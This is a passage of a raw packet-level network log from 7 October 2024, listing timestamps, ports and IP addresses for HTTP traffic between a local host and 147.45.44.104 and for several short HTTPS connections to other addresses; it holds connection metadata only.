Oct 7, 2024 18:01:01.201513052 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.201529026 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.201544046 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.201544046 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.201544046 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.201572895 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.201592922 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.202080011 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.202092886 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.202107906 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.202124119 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.202137947 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.202141047 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.202141047 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.202174902 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.202195883 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.204612970 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.204628944 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.204653025 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.204667091 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.204668999 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.204683065 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.204698086 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.204699039 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.204698086 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.204719067 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.204720020 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.204735041 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.204746962 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.204747915 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.204751015 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.204766989 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.204767942 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.204782963 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.204788923 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.204799891 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.204814911 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.204817057 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.204814911 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.204833031 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.204847097 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.204848051 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.204871893 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.204890966 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.205137968 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.205153942 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.205167055 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.205183029 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.205193996 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.205193996 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.205199003 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.205215931 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.205215931 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.205243111 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.205243111 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.205261946 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.206250906 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.206268072 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.206283092 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.206302881 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.206304073 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.206319094 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.206326008 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.206372976 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.206372976 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.206389904 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.206434011 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.207273006 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.207292080 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.207307100 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.207321882 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.207334042 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.207334042 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.207340956 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.207357883 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.207356930 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.207401037 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.207401037 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.207401991 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.208036900 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.208053112 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.208066940 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.208087921 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.208102942 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.208101988 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.208101988 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.208120108 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.208129883 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.208129883 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.208152056 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.208170891 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.209017038 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.209033966 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.209048986 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.209064960 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.209075928 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.209075928 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.209080935 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.209098101 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.209124088 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.209124088 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.210042953 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.210057974 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.210072041 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.210088015 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.210102081 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.210103989 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.210104942 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.210119009 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.210134029 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.210134983 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.210155010 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.210186005 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.210836887 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.210854053 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.210869074 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.210882902 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.210897923 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.210899115 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.210899115 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.210915089 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.210921049 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.210941076 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.210963011 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.211815119 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.211829901 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.211844921 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.211873055 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.211873055 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.211906910 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.211961985 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.211978912 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.212008953 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.212040901 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.212801933 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.212817907 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.212833881 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.212851048 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.212862968 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.212863922 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.212869883 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.212888002 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.212892056 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.212893009 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.212913036 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.212930918 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.213593006 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.213612080 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.213628054 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.213645935 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.213673115 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.213673115 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.213680029 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.213696957 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.213726997 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.213761091 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.214574099 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.214590073 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.214607954 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.214624882 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.214626074 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.214658976 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.214658976 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.214684010 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.214731932 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.214747906 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.214780092 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.214812994 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.215377092 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.215398073 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.215413094 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.215426922 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.215426922 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.215442896 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.215456009 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.215456009 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.215457916 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.215473890 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.215477943 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.215491056 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.215501070 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.215518951 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.215539932 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.216387033 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.216403008 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.216464043 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.216506958 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.216521978 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.216536045 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.216552019 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.216555119 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.216567993 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.216578960 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.216590881 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.216597080 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.216622114 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.216641903 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.217134953 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.217149973 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.217164993 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.217183113 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.217190981 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.217197895 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.217212915 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.217216015 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.217233896 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.217261076 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.217261076 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.317902088 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.317929029 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.317946911 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.317982912 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.317982912 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.318021059 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.318213940 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.318233013 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.318267107 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.318300009 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.318506002 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.318541050 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.318562984 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.318594933 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.318753958 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.318788052 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.318813086 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.318821907 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.318834066 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.318856955 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.318872929 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.318895102 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.318896055 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.318944931 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.319542885 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.319576025 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.319607019 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.319608927 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.319628954 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.319643021 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.319675922 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.319686890 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.319688082 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.319724083 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.320401907 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.320436001 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.320457935 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.320470095 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.320477962 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.320504904 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.320523977 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.320538044 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.320548058 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.320573092 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.320589066 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.320620060 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.321193933 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.321228981 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.321250916 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.321263075 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.321270943 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.321296930 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.321316004 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.321333885 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.321352005 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.321366072 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.321377993 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.321419001 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.322057009 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.322091103 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.322122097 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.322122097 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.322144985 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.322160006 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.322168112 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.322194099 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.322208881 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.322227955 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.322242975 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.322276115 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.322874069 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.322906971 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.322930098 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.322940111 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.322952986 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.322987080 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.506513119 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:01:01.511470079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:01:01.589339018 CEST	443	49967	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.589709044 CEST	443	49968	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.589757919 CEST	49967	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.589803934 CEST	443	49967	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.590159893 CEST	49968	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.590178013 CEST	443	49968	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.590477943 CEST	49967	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.590491056 CEST	443	49967	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.590641022 CEST	49968	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.590646982 CEST	443	49968	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.592722893 CEST	443	49969	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.593303919 CEST	49969	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.593331099 CEST	443	49969	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.594106913 CEST	443	49970	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.594331980 CEST	49969	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.594336987 CEST	443	49969	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.594583035 CEST	49970	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.594589949 CEST	443	49970	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.594872952 CEST	49970	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.594877958 CEST	443	49970	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.662883043 CEST	49972	443	192.168.2.5	188.114.97.3
Oct 7, 2024 18:01:01.662936926 CEST	443	49972	188.114.97.3	192.168.2.5
Oct 7, 2024 18:01:01.663007021 CEST	49972	443	192.168.2.5	188.114.97.3
Oct 7, 2024 18:01:01.664082050 CEST	49972	443	192.168.2.5	188.114.97.3
Oct 7, 2024 18:01:01.664100885 CEST	443	49972	188.114.97.3	192.168.2.5
Oct 7, 2024 18:01:01.671063900 CEST	443	49971	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.671498060 CEST	49971	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.671509027 CEST	443	49971	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.671977997 CEST	49971	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.671982050 CEST	443	49971	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.685002089 CEST	443	49967	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.685168982 CEST	443	49967	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.685250044 CEST	49967	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.685326099 CEST	49967	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.685327053 CEST	49967	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.685359001 CEST	443	49967	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.685380936 CEST	443	49967	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.686388969 CEST	443	49968	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.686470032 CEST	443	49968	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.686521053 CEST	49968	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.686528921 CEST	443	49968	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.686539888 CEST	443	49968	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.686599016 CEST	49968	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.686619043 CEST	443	49968	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.686633110 CEST	49968	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.686633110 CEST	49968	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.686640024 CEST	443	49968	13.107.246.64	192.168.2.5
